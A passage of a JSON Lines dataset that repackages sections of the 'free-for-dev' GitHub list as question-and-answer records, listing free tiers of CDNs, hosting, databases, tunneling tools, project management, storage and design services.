quality and compliance standards using guardrails built with Policy as Code. The free tier includes 100 tools calls per day to the MCP server and 25 free automated pull request reviews per day via the GitHub App.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601767"}
{"id": "gh_37e2128146b0", "question": "How to: CDN and Protection", "question_body": "About ripienaar/free-for-dev", "answer": "* [bootstrapcdn.com](https://www.bootstrapcdn.com/) — CDN for bootstrap, bootswatch and fontawesome.io\n  * [CacheFly](https://portal.cachefly.com/signup/free2023) - Up to 5 TB per month of Free CDN traffic, 19 Core PoPs , 1 Domain and Universal SSL.\n  * [cdnjs.com](https://cdnjs.com/) — Simple. Fast. Reliable. Content delivery at its finest. cdnjs is a free and open-source CDN service trusted by over 11% of all websites, powered by Cloudflare.\n  * [developers.google.com](https://developers.google.com/speed/libraries/) — The Google Hosted Libraries is a content distribution network for the most popular Open Source JavaScript libraries\n  * [Gcore](https://gcorelabs.com/) Global content delivery network, 1 TB and 1 million requests per month free and free DNS hosting\n  * [jsdelivr.com](https://www.jsdelivr.com/) — A free, fast, and reliable open-source CDN. Supports npm, GitHub, WordPress, Deno, and more.\n  * [Microsoft Ajax](https://docs.microsoft.com/en-us/aspnet/ajax/cdn/overview) — The Microsoft Ajax CDN hosts popular third-party JavaScript libraries such as jQuery and enables you to easily add them to your Web application\n  * [Namecheap Supersonic](https://www.namecheap.com/supersonic-cdn/#free-plan) — Free DDoS protection\n  * [ovh.ie](https://www.ovh.ie/ssl-gateway/) — Free DDoS protection and SSL certificate\n  * [PromoProxy](https://promoproxy.net/) - Free cloud Secure Web Gateway. Free plan includes up to 5 users and 1 GB per day.\n  * [raw.githack.com](https://raw.githack.com/) — A modern replacement of **rawgit.com** which simply hosts file using Cloudflare\n  * [Skypack](https://www.skypack.dev/) — The 100% Native ES Module JavaScript CDN. Free for 1 million requests per domain per month.\n  * [statically.io](https://statically.io/) — CDN for Git repos (GitHub, GitLab, Bitbucket), WordPress-related assets, and images\n  * [Stellate](https://stellate.co/) - Stellate is a blazing-fast, reliable CDN for your GraphQL API and free for two services.\n  * [toranproxy.com](https://toranproxy.com/) — Proxy for Packagist and GitHub. Never fail CD. Free for personal use, one developer, no support\n  * [UNPKG](https://unpkg.com/) — CDN for everything on npm\n  * [weserv](https://images.weserv.nl/) — An image cache & resize service. Manipulate images on the fly with a worldwide cache.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601777"}
{"id": "gh_124cab5d576b", "question": "How to: Low-code Platform", "question_body": "About ripienaar/free-for-dev", "answer": "* [appsmith](https://www.appsmith.com/) — Low code project to build admin panels, internal tools, and dashboards. Integrates with 15+ databases and any API.\n  * [BudiBase](https://budibase.com/) — Budibase is an open-source low-code platform for creating internal apps in minutes. Supports PostgreSQL, MySQL, MSSQL, MongoDB, Rest API, Docker, K8s\n  * [Clappia](https://www.clappia.com) — A low-code platform designed for building business process applications with customizable mobile and web apps. Offers a drag-and-drop interface, features like Offline Support, real-time location tracking and integration with various third-party services\n  * [lil'bots](https://www.lilbots.io/) - write and run scripts online utilizing free built-in APIs like OpenAI, Anthropic, Firecrawl and others. Great for building AI agents / internal tooling and sharing with team. Free-tier includes full access to APIs, AI coding assistant and 10,000 execution credits / month.\n  * [manubes](https://www.manubes.com) - Powerful no-code cloud platform with a focus on industrial production management. Free for one user with 1 million workflow activities a month ([also available in german](https://www.manubes.de)).\n  * [Mendix](https://www.mendix.com/) — Rapid Application Development for Enterprises, unlimited accessible sandbox environments supporting total users, 0.5 GB storage and 1 GB RAM per app. Also, Studio and Studio Pro IDEs are allowed in the free tier.\n  * [outsystems.com](https://www.outsystems.com/) — Enterprise web development PaaS for on-premise or cloud, free \"personal environment\" offering allows for unlimited code and up to 1 GB database\n  * [ReTool](https://retool.com/) — Low-code platform for building internal applications. Retool is highly hackable. If you can write it with JavaScript and an API, you can make it in Retool. The free tier allows up to five users per month, unlimited apps and API connections.\n  * [ToolJet](https://www.tooljet.com/) — Extensible low-code framework for building business applications. Connect to databases, cloud storages, GraphQL, API endpoints, Airtable, etc., and build apps using drag-and-drop application builder.\n  * [UI Bakery](https://uibakery.io) — Low-code platform that enables faster building of custom web applications. Supports building UI using drag and drop with a high level of customization through JavaScript, Python, and SQL. Available as both cloud and self-hosted solutions. Free for up to 5 users.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601796"}
{"id": "gh_4cf5c5155cf2", "question": "How to: Web Hosting", "question_body": "About ripienaar/free-for-dev", "answer": "* [Alwaysdata](https://www.alwaysdata.com/) — 1 GB free web hosting with support for MySQL, PostgreSQL, RabbitMQ, .NET, Deno, Elixir, Go, Java, Lua, Node.js, PHP, Python, Ruby, Rust. Custom web servers, access via FTP, WebDAV and SSH. Mailbox, mailing list and app installer included. No custom domain on free plan.\n  * [Awardspace.com](https://www.awardspace.com) — Free web hosting + a free short domain, PHP, MySQL, App Installer, Email Sending & No Ads.\n  * [Bubble](https://bubble.io/) — Visual programming to build web and mobile apps without code, free with Bubble branding.\n  * [dAppling Network](https://www.dappling.network/) - Decentralized web hosting platform for Web3 frontends focusing on increasing uptime and security and providing an additional access point for users.\n  * [DigitalOcean](https://www.digitalocean.com/pricing) - Build and deploy three static sites for free on the App Platform Starter tier.\n  * [FreeFlarum](https://freeflarum.com/) - Community-powered free Flarum hosting for up to 250 users (donate to remove the watermark from the footer).\n  * [Kinsta Static Site Hosting](https://kinsta.com/static-site-hosting/) — Deploy up to 100 static sites for free, custom domains with SSL, 100 GB monthly bandwidth, 260+ Cloudflare CDN locations.\n  * [MDB GO](https://mdbgo.com/) - Free hosting for one project with two weeks Container TTL, 500 MB RAM per project, SFTP - 1G disk space.\n  * [Neocities](https://neocities.org) — Static, 1 GB free storage with 200 GB Bandwidth.\n  * [Netlify](https://www.netlify.com/) — Builds, deploys and hosts static site/app free for 300 credits/month (equals 30 GB bandwidth).\n  * [Oaysus](https://oaysus.com) - Visual page builder for developer-built React, Vue, or Svelte components. Free tier includes 1 site with unlimited pages, form submissions, and global CDN hosting.\n  * [PandaStack](https://www.pandastack.io/) — An eco-system for developers includes web hosting in different formats (static web hosting, container based web hosting, wordpress and so many other managed apps available in couple of clicks ). One free web hosting (static or containered) and one free database with 100GB Bandwidth and 300 Build mins/month.\n  * [pantheon.io](https://pantheon.io/) — Drupal and WordPress hosting, automated DevOps, and scalable infrastructure. Free for developers and agencies. No custom domain.\n  * [Qoddi](https://qoddi.com) - PaaS service similar to Heroku with a developer-centric approach and all-inclusive features. Free tier for static assets, staging, and developer apps.\n  * [readthedocs.org](https://readthedocs.org/) — Free documentation hosting with versioning, PDF generation, and more\n  * [render.com](https://render.com) — Unified cloud to build and run apps and sites with free SSL, a global CDN, private networks, auto-deploys from Git, and completely free plans for web services, databases, and static web pages.\n  * [Serv00.com](https://serv00.com/) — 3 GB of free web hosting with daily backups (7 days). Support: Crontab jobs, SSH access, repositories (GIT, SVN, and Mercurial), support: MySQL, PostgreSQL, MongoDB, PHP, Node.js, Python, Ruby, Java, Perl, TCL/TK, Lua, Erlang, Rust, Pascal, C, C++, D, R, and many more.\n  * [SourceForge](https://sourceforge.net/) — Find, Create, and Publish Open Source software for free\n  * [surge.sh](https://surge.sh/) — Static web publishing for Front-End developers. Unlimited sites with custom domain support\n  * [tilda.cc](https://tilda.cc/) — One site, 50 pages, 50 MB storage, only the main pre-defined blocks among 170+ available, no fonts, no favicon, and no custom domain\n  * [Vercel](https://vercel.com/) — Build, deploy, and host web apps with free SSL, global CDN, and unique Preview URLs each time you `git push`. Perfect for Next.js and other Static Site Generators.\n  * [Versoly](https://versoly.com/) — SaaS-focused website builder - unlimited websites, 70+ blocks, five templates, custom CSS, favicon, SEO and forms. No custom domain.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601809"}
{"id": "gh_774246fc816c", "question": "How to: Managed Data Services", "question_body": "About ripienaar/free-for-dev", "answer": "* [8base.com](https://www.8base.com/) - 8base is a full-stack low-code development platform built for JavaScript developers built on top of MySQL and GraphQL and serverless backend-as-a-service. It allows you to start building web applications quickly using a UI app builder and scale quickly, The Free tier includes rows: 2,500, Storage: 500, Serverless computing: 1Gb/h, and client app users: 5.\n  * [airtable.com](https://airtable.com/) — Looks like a spreadsheet, but it's a relational database unlimited bases, 1,200 rows/base, and 1,000 API requests/month\n  * [Aiven](https://aiven.io/) - Aiven offers free PostgreSQL, MySQL and Valkey (Redis compatible) plans on its open-source data platform. Single node, 1 CPU, 1GB RAM, and for PostgreSQL and MySQL, 1GB storage. Easy migration to more extensive plans or across clouds.\n  * [CockroachDB Cloud](https://www.cockroachlabs.com/pricing/) — Free tier offers 50 million RUs and 10 GiB of storage (same as 15$ worth) free per month. ([What's the Request Units](https://www.cockroachlabs.com/docs/cockroachcloud/metrics-request-units.html))\n  * [codehooks.io](https://codehooks.io/) — Easy to use JavaScript serverless API/backend and NoSQL database service with functions, Mongdb-ish queries, key/value lookups, a job system, realtime messages, worker queues, a powerful CLI and a web-based data manager. Free plan has 5GB storage and 60/API calls per minute. 2 developers included. No credit-card required.\n  * [Couchbase Capella](https://www.couchbase.com/products/capella/) - deploy a forever free tier fully managed database cluster with 1 node and 8GB storage, built for developers to create the next generation of applications across IoT to AI\n  * [CrateDB](https://crate.io/) - Distributed Open Source SQL database for real-time analytics. [Free Tier CRFREE](https://crate.io/lp-crfree): One-node with 2 CPUs, 2 GiB of memory, 8 GiB of storage. One cluster per organization, no payment method needed.\n  * [filess.io](https://filess.io) - filess.io is a platform where you can create two databases with up to 10 MB per database of the following DBMS for free: MySQL, MariaDB, MongoDB, and PostgreSQL.\n  * [InfluxDB](https://www.influxdata.com/) — Timeseries database, free up to 3MB/5 minutes writes, 30MB/5 minutes reads and 10,000 cardinalities series\n  * [MemCachier](https://www.memcachier.com/) — Managed Memcache service. Free for up to 25MB, 1 Proxy Server, and basic analytics\n  * [MongoDB Atlas](https://www.mongodb.com/cloud/atlas) — free tier gives 512 MB\n  * [Neo4j Aura](https://neo4j.com/cloud/aura/) — Managed native Graph DBMS / analytics platform with a Cypher query language and a REST API. Limits on graph size (50k nodes, 175k relationships).\n  * [Neon](https://neon.tech/) — Managed PostgreSQL, 0.5 GB of storage (total), 1 Project ,10 branches, Unlimited Databases, always-available primary branch ( Auto suspend after 5 minutes), 20 hours of Active time per month (total) for non-primary branch compute.\n  * [Nile](https://www.thenile.dev/) — A Postgres platform for B2B apps. Unlimited databases, Always available with no shutdown, 1GB of storage (total), 50 million query tokens, autoscaling, unlimited vector embeddings\n  * [Prisma Postgres](https://prisma.io/postgres) - Super fast hosted Postgres built on unikernels and running on bare metal, 1GB storage, 10 databases, integrated with Prisma ORM.\n  * [restdb.io](https://restdb.io/) - a fast and straightforward NoSQL cloud database service. With restdb.io you get schema, relations, automatic REST API (with MongoDB-like queries), and an efficient multi-user admin UI for working with data. The free plan allows 3 users, 2500 records, and 1 API request per second.\n  * [scalingo.com](https://scalingo.com/) — Primarily a PaaS but offers a 128MB to 192MB free tier of MySQL, PostgreSQL, or MongoDB\n  * [SeaTable](https://seatable.io/) — Flexible, Spreadsheet-like Database built by the Seafile team. unlimited tables, 2,000 lines, 1-month versioning, up to 25 team members.\n  * [skyvia.com](https://skyvia.com/) — Cloud Data Platform offers a free tier and all plans are completely free while in beta\n  * [StackBy](https://stackby.com/) — One tool that combines spreadsheets' flexibility, databases' power, and built-in integrations with your favorite business apps. The free plan includes unlimited users, ten stacks, and a 2GB attachment per stack.\n  * [Tinybird](https://tinybird.co) - A serverless managed ClickHouse with connection-less data ingest over HTTP and lets you publish SQL queries as managed HTTP APIs. There is no time limit on free-tier, 10GB storage + 1000 API requests per day.\n  * [Turso by ChiselStrike](https://chiselstrike.com/) - Turso is SQLite Developer Experience in an Edge Database. Turso provides a Free Forever starter plan, 9 GB of total storage, Up to 500 databases, Up to 3 locations, 1 billion row reads per month, and Local development support with SQLite.\n  * [Upstash](https://upstash.com/) — Serverless Redis with free ti", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601832"}
{"id": "gh_1b59beadb7f9", "question": "How to: Tunneling, WebRTC, Web Socket Servers and Other Routers", "question_body": "About ripienaar/free-for-dev", "answer": "* [btunnel](https://www.btunnel.in/) — Expose localhost and local tcp server to the internet. Free plan includes file server, custom http request and response headers, basic auth protection and 1 hour tunnel timeout.\n  * [cname.dev](https://cname.dev/) — Free and secure dynamic reverse proxy service.\n  * [conveyor.cloud](https://conveyor.cloud/) — Visual Studio extension to expose IIS Express to the local network or over a tunnel to a public URL.\n  * [Expose](https://expose.dev/) - Expose local sites via secure tunnels. The free plan includes an EU Server, Random subdomains, and Single users.\n  * [Hamachi](https://www.vpn.net/) — LogMeIn Hamachi is a hosted VPN service that lets you securely extend LAN-like networks to distributed teams with a free plan that allows unlimited networks with up to 5 people\n  * [Hookdeck](https://hookdeck.com/pricing) — Develop, test, and monitor your webhooks from anywhere. 100K requests and 100K attempts per month with three days retention.\n  * [localhost.run](https://localhost.run/) — Expose locally running servers over a tunnel to a public URL.\n  * [localtunnel](https://theboroer.github.io/localtunnel-www/) — Expose locally running servers over a tunnel to a public URL. Free hosted version, and [open source](https://github.com/localtunnel/localtunnel).\n  * [LocalXpose](https://localxpose.io) — Reverse proxy that enables you to expose your localhost servers to the internet. The free plan has 15 minutes tunnel lifetime.\n  * [ngrok.com](https://ngrok.com/) — Expose locally running servers over a tunnel to a public URL.\n  * [Pinggy](https://pinggy.io) — Public URLs for localhost with a single command, no downloads required. HTTPS / TCP / TLS tunnels. The free plan has 60 minutes tunnel lifetime.\n  * [Radmin VPN](https://www.radmin-vpn.com/) — Connect multiple computers together via a VPN-enabling LAN-like network. Unlimited peers. (Hamachi alternative)\n  * [serveo](https://serveo.net/) — Expose local servers to the internet. No installation, no signup. Free subdomain, no limits.\n  * [stun:global.stun.twilio.com:3478?transport=udp](stun:global.stun.twilio.com:3478?transport=udp) Twilio STUN\n  * [stun:stun.l.google.com:19302](stun:stun.l.google.com:19302) - Google STUN\n  * [Tailscale](https://tailscale.com/) — Zero config VPN, using the open-source WireGuard protocol. Installs on MacOS, iOS, Windows, Linux, and Android devices. Free plan for personal use with 100 devices and three users.\n  * [webhookrelay.com](https://webhookrelay.com) — Manage, debug, fan-out, and proxy all your webhooks to public or internal (i.e. localhost) destinations. Also, expose servers running in a private network over a tunnel by getting a public HTTP endpoint (`https://yoursubdomain.webrelay.io <----> http://localhost:8080`).\n  * [Xirsys](https://www.xirsys.com/pricing/) — Unlimited STUN usage + 500 MB monthly TURN bandwidth, capped bandwidth, single geographic region.\n  * [ZeroTier](https://www.zerotier.com) — FOSS managed virtual Ethernet as a service. Unlimited end-to-end encrypted networks of 25 clients on the free plan. Clients for desktop/mobile/NA; web interface for configuration of custom routing rules and approval of new client nodes on private networks\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601844"}
{"id": "gh_cd33aa54de57", "question": "How to: Issue Tracking and Project Management", "question_body": "About ripienaar/free-for-dev", "answer": "* [acunote.com](https://www.acunote.com/) — Free project management and SCRUM software for up to 5 team members\n  * [asana.com](https://asana.com/) — Free for private project with collaborators\n  * [Backlog](https://backlog.com) — Everything your team needs to release great projects in one platform. The free plan offers 1 Project with ten users & 100MB of storage.\n  * [Basecamp](https://basecamp.com/personal) - To-do lists, milestone management, forum-like messaging, file sharing, and time tracking. Up to 3 projects, 20 users, and 1GB of storage space.\n  * [bitrix24.com](https://www.bitrix24.com/) — Intranet and project management tool. The free plan has 5GB for unlimited users.\n  * [cacoo.com](https://cacoo.com/) — Online real-time diagrams: flowchart, UML, network. Free max. 15 users/diagram, 25 sheets\n  * [clickup.com](https://clickup.com/) — Project management. Free, premium version with cloud storage. Mobile applications and Git integrations are available.\n  * [Clockify](https://clockify.me) - Time tracker and timesheet app that lets you track work hours across projects. Unlimited users, free forever.\n  * [Cloudcraft](https://cloudcraft.co/) — Design a professional architecture diagram in minutes with the Cloudcraft visual designer, optimized for AWS with intelligent components that show live data too. Free plan has unlimited private diagrams for single user.\n  * [Confluence](https://www.atlassian.com/software/confluence) - Atlassian's content collaboration tool is used to help teams collaborate and share knowledge efficiently. Free plan for up to 10 users.\n  * [Crosswork](https://crosswork.app/) - Versatile project management platform. Free for up to 3 projects, unlimited users, 1 GB storage.\n  * [diagrams.net](https://app.diagrams.net/) — Online diagrams stored locally in Google Drive, OneDrive, or Dropbox. Free for all features and storage levels\n  * [easyretro.io](https://www.easyretro.io/) — Simple and intuitive sprint retrospective tool. The free plan has three public boards and one survey per board per month.\n  * [freedcamp.com](https://freedcamp.com/) - tasks, discussions, milestones, time tracking, calendar, files and password manager. Free plan with unlimited projects, users, and file storage.\n  * [GForge](https://gforge.com) — Project Management and issue Tracking toolset for complex projects with self-premises and SaaS options. SaaS free plan offers the first five users free & free for Open Source Projects.\n  * [gleek.io](https://www.gleek.io) — Free description-to-diagrams tool for developers. Create informal UML class, object, or entity-relationship diagrams using your keyword.\n  * [GraphQL Inspector](https://github.com/marketplace/graphql-inspector) - GraphQL Inspector outputs a list of changes between two GraphQL schemas. Every difference is precisely explained and marked as breaking, non-breaking, or dangerous.\n  * [Helploom](https://helploom.com) - Customer support software that offers a live chat on the free forever plan. Simple, lightweight and beautiful. Setup is a simple copy-paste script. Built by a developer.\n  * [Hygger](https://hygger.io) — Project management platform. The free plan offers unlimited users, projects & boards with 100 MB of Storage.\n  * [Ilograph](https://www.ilograph.com/)  — interactive diagrams that allow users to see their infrastructure from multiple perspectives and levels of detail. Charts can be expressed in code. The free tier has unlimited private diagrams with up to 3 viewers.\n  * [Jira](https://www.atlassian.com/software/jira) — Advanced software development project management tool used in many corporate environments. Free plan for up to 10 users.\n  * [kan.bn](https://kan.bn/) - A powerful, flexible kanban app that helps you organise work, track progress, and deliver results—all in one place. Free plan up to 1 user for unlimited boards, unlimited lists, unlimited cards.\n  * [kanbanflow.com](https://kanbanflow.com/) — Board-based project management. Free, premium version with more options\n  * [kanbantool.com](https://kanbantool.com/) — Kanban board-based project management. The free plan has two boards and two users, without attachments or files.\n  * [Kitemaker.co](https://kitemaker.co) - Collaborate through all phases of the product development process and keep track of work across Slack, Discord, Figma, and Github. Unlimited users, unlimited spaces. Free plan up to 250 work items.\n  * [Kiter.app](https://www.kiter.app/) - Let anyone organize their job search and track interviews, opportunities, and connections. Powerful web app and Chrome extension. Completely free.\n  * [Kumu.io](https://kumu.io/)  — Relationship maps with animation, decorations, filters, clustering, spreadsheet imports, etc. The free tier allows unlimited public projects. Graph size unlimited. Free private projects for students. Sandbox mode is available if you prefer not to leave your file publicly online (upload, edit, download, discard).\n  * [leiga.com](https://www.leiga.com/) —", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601871"}
{"id": "gh_16ab3c04dfa1", "question": "How to: Storage and Media Processing", "question_body": "About ripienaar/free-for-dev", "answer": "* [AndroidFileHost](https://androidfilehost.com/) - Free file-sharing platform with unlimited speed, bandwidth, file count, download count, etc. It is mainly aimed for Android dev-related files like APK build, custom ROM & modifications, etc. But seems to accept any other files as well.\n  * [borgbase.com](https://www.borgbase.com/) — Simple and secure offsite backup hosting for Borg Backup. 10 GB free backup space and two repositories.\n  * [cloudinary.com](https://cloudinary.com/) — Image upload, powerful manipulations, storage, and delivery for sites and apps, with Ruby, Python, Java, PHP, Objective-C, and more libraries. The free tier includes 25 monthly credits. One credit equals 1,000 image transformations, 1 GB of storage, or 1 GB of CDN usage.\n  * [degoo.com](https://degoo.com/) – AI based cloud storage with free up to 20 GB, three devices, 5 GB referral bonus (90 days account inactivity).\n  * [Dropshare](https://dropsha.re) - Zero-knowledge file sharing. End-to-end encrypted file sharing with AES-256-GCM encryption, client-side processing, and zero server-side data access. Free uploads for files up to 1GB with no data collection.\n  * [embed.ly](https://embed.ly/) — Provides APIs for embedding media in a webpage, responsive image scaling, and extracting elements from a webpage. Free for up to 5,000 URLs/month at 15 requests/second\n  * [Ente](https://ente.io/) - Ente is an end-to-end encrypted cloud for photos, videos and 2FA secrets. Can also be self-hosted along with a generous forever free-tier of 10GB. For free tier users, only single replica of data is kept.\n  * [file.io](https://www.file.io) - 2 GB storage of files. A file is auto-deleted after one download. REST API to interact with the storage. Rate limit one request/minute.\n  * [freetools.site](https://freetools.site/) — Free online tools. Convert or edit documents, images, audio, video, and more.\n  * [getpantry.cloud](https://getpantry.cloud/) — A simple JSON data storage API perfect for personal projects, hackathons, and mobile apps!\n  * [GoFile.io](https://gofile.io/) - Free file sharing and storage platform can be used via web-based UI & also API. unlimited file size, bandwidth, download count, etc. But it will be deleted when a file becomes inactive (no download for more than ten days).\n  * [gumlet.com](https://www.gumlet.com/) — Image and video hosting, processing and streaming via CDN. Provides generous free tier of 250 GB / month for videos and 30 GB  / month for images.\n  * [icedrive.net](https://www.icedrive.net/) - Simple cloud storage service. 10 GB free storage\n  * [image-charts.com](https://www.image-charts.com/) — Unlimited image chart generation with a watermark\n  * [ImageEngine](https://imageengine.io/) – ImageEngine is an easy to use global image CDN. Sub 60 sec setup. AVIF and JPEGXL support, WordPress-, Magento-, React-, Vue- plugins and more. Claim your free developer account [here](https://imageengine.io/developer-program/).\n  * [imagekit.io](https://imagekit.io) – Image CDN with automatic optimization, real-time transformation, and storage that you can integrate with existing setup in minutes. The free plan includes up to 20GB of bandwidth per month.\n  * [ImgBB](https://imgbb.com/) — ImgBB is an unlimited image hosting servce. Drag and drop your image anywhere on the screen. 32 MB / image limit. Receive Direct image links, BBCode and HTML thumbnails after uploading image. Login to see the upload history.\n  * [Imgbot](https://github.com/marketplace/imgbot) — Imgbot is a friendly robot that optimizes your images and saves you time. Optimized images mean smaller file sizes without sacrificing quality. It's free for open source.\n  * [imgen](https://www.jitbit.com/imgen/) - Free unlimited social cover image generation API, no watermark\n  * [imgix](https://www.imgix.com/) - Image Caching, management and CDN. Free plan includes 1000 origin images, infinite transformations and 100 GB bandwidth\n  * [internxt.com](https://internxt.com) – Internxt Drive is a zero-knowledge file storage service based on absolute privacy and uncompromising security. Sign up and get 10 GB for free, forever!\n  * [kraken.io](https://kraken.io/) — Image optimization for website performance as a service, free plan up to 1 MB file size\n  * [LibreQR](https://libreqr.com) — Free QR code generator focused on privacy and no tracking. Free to use with no data collection.\n  * [nitropack.io](https://nitropack.io/) - Accelerate your site's speed on autopilot with complete front-end optimization (caching, images and code optimization, CDN). Free for up to 5,000 pageviews/month\n  * [npoint.io](https://www.npoint.io/) — JSON store with collaborative schema editing\n  * [otixo.com](https://www.otixo.com/) — Encrypt, share, copy, and move all your cloud storage files from one place. The basic plan provides unlimited file transfer with 250 MB max. file size and allows five encrypted files\n  * [packagecloud.io](https://packagecloud.io/) — Hosted Package Repositories for Y", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601895"}
{"id": "gh_1a50ab781500", "question": "How to: Design and UI", "question_body": "About ripienaar/free-for-dev", "answer": "* [AllTheFreeStock](https://allthefreestock.com) - a curated list of free stock images, audio and videos.\n  * [Ant Design Landing Page](https://landing.ant.design/) - Ant Design Landing Page provides a template built by Ant Motion's motion components. It has a rich homepage template, downloads the template code package, and can be used quickly. You can also use the editor to quickly build your own dedicated page.\n  * [Backlight](https://backlight.dev/) — With collaboration between developers and designers at heart, Backlight is a complete coding platform where teams build, document, publish, scale, and maintain Design Systems. The free plan allows up to 3 editors to work on one design system with unlimited viewers.\n  * [BoxySVG](https://boxy-svg.com/app) — A free installable Web app for drawing SVGs and exporting in SVG, PNG, jpeg, and other formats.\n  * [Branition](https://branition.com/colors) - Hand-curated color pallets best fitted for brands.\n  * [Calendar Icons Generator](https://calendariconsgenerator.app/) -- Generate an entire year's worth of unique icons in a single click, absolutely FREE\n  * [Canva](https://canva.com) - Free online design tool to create visual content.\n  * [Carousel Hero](https://carouselhero.com/) - Free online tool to create social media carousels.\n  * [Circum Icons](https://circumicons.com) - Consistent open-source icons such as SVG for React, Vue, and Svelte.\n  * [clevebrush.com](https://www.cleverbrush.com/) — Free Graphics Design / Photo Collage App. Also, they offer paid integration of it as a component.\n  * [cloudconvert.com](https://cloudconvert.com/) — Convert anything to anything. Two hundred eight supported formats including videos and gifs.\n  * [CMYK Pantone](https://www.cmyktopantone.com/) - Easily convert CMYK values to the closest Pantone colors and other color models in seconds for free.\n  * [CodedThemes](https://codedthemes.com/) - Offers a well-crafted admin dashboard & and UI kits designed to simplify and speed up modern web development.\n  * [CodeMyUI](https://codemyui.com) - Handpicked collection of Web Design & UI Inspiration with Code Snippets.\n  * [ColorKit](https://colorkit.co/) - Create color palettes online or get inspiration from top palettes.\n  * [colorr.me](https://colorr.me/) - Color & Gradient Generator\n  * [coolors](https://coolors.co/) - Color palette generator. Free.\n  * [css-gradient.com](https://www.css-gradient.com/) - Free tool to quickly generate custom cross-browser CSS gradients. In RGB and HEX format.\n  * [css.glass](https://css.glass/) -- Free web app for creating glassmorphic designs using CSS.\n  * [DaisyUI](https://daisyui.com/) -- Free. \"Use Tailwind CSS but write fewer class names\" offers components like buttons.\n  * [easyvectors.com](https://easyvectors.com/) — EasyVectors.com is a free SVG vector art stock. Download the best vector graphics absolutely for free.\n  * [Excalidraw](https://excalidraw.com/) -- A free online drawing document web page with free save to local and export support.\n  * [figma.com](https://www.figma.com) — Online, collaborative design tool for teams; free tier includes unlimited files and viewers with a max of 2 editors and three projects.\n  * [Float UI](https://floatui.com/) - free web development tool for quickly creating modern, responsive websites with sleek design, even for non-designers.\n  * [Flows](https://flows.sh/) -- A fully customizable product adoption platform for building onboarding and user engagement experiences. Free for up to 250 monthly tracked users.\n  * [Flyon UI](https://flyonui.com/)- The Easiest Components Library For Tailwind CSS.\n  * [framer.com](https://www.framer.com/) - Framer helps you iterate and animate interface ideas for your next app, website, or product—starting with powerful layouts. For anyone validating Framer as a professional prototyping tool: unlimited viewers, up to 2 editors, and up to 3 projects.\n  * [freeforcommercialuse.net](https://freeforcommercialuse.net/) — FFCU Worry-free model/property release stock photos\n  * [Glyphs](https://glyphs.fyi/) -- Free, The Mightiest Icons on the Web, Fully editable & truly open source design system.\n  * [Gradientos](https://www.gradientos.app) - Makes choosing a gradient fast and easy.\n  * [Grapedrop](https://grapedrop.com/) — Responsive, powerful, SEO-optimized web page builder based on GrapesJS Framework. Free for the first five pages, unlimited custom domains, all features, and simple usage.\n  * [haikei.app](https://www.haikei.app/) - Haikei is a web app to generate unique SVG shapes, backgrounds, and patterns – ready to use with your design tools and workflow.\n  * [hypercolor.dev](https://hypercolor.dev/) -- A curated collection of Tailwind CSS color gradients also provides a variety of generators to create your own.\n  * [HyperUI](https://www.hyperui.dev/) -- Free Open Source Tailwind CSS Components.\n  * [Icon Horse](https://icon.horse) – Get the highest resolution favicon for any website from our simple API.\n  * [iconify.d", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601941"}
{"id": "gh_b2c7617bd68f", "question": "How to: Design Inspiration", "question_body": "About ripienaar/free-for-dev", "answer": "* [awwwards.](https://www.awwwards.com/) - [Top websites] A showcase of all the best-designed websites (voted on by designers).\n  * [Behance](https://www.behance.net/) - [Design showcase] A place where designers showcase their work. Filterable with categories for UI/UX projects.\n  * [dribbble](https://dribbble.com/) - [Design showcase] Unique design inspiration, generally not from real applications.\n  * [Landings](https://landings.dev/) - [Web screenshots] Find the best landing pages for your design inspiration based on your preference.\n  * [Lapa Ninja](https://www.lapa.ninja/) - [Landing page / UI KIts / Web screenshots] Lapa Ninja is a gallery featuring the best 6025 landing page examples, free books for designers and free UI kits from around the web.\n  * [LovelyLanding.net](https://www.lovelylanding.net/) - [Landing Page Designs] Frequently updated landing page screenshots. Includes Desktop, Tablet, and Mobile screenshots.\n  * [Mobbin](https://mobbin.design/) - [Mobile screenshots] Save hours of UI & UX research with our library of 50,000+ fully searchable mobile app screenshots.\n  * [Mobile Patterns](https://www.mobile-patterns.com/) - [Mobile screenshots] A design inspirational library featuring the finest UI UX Patterns 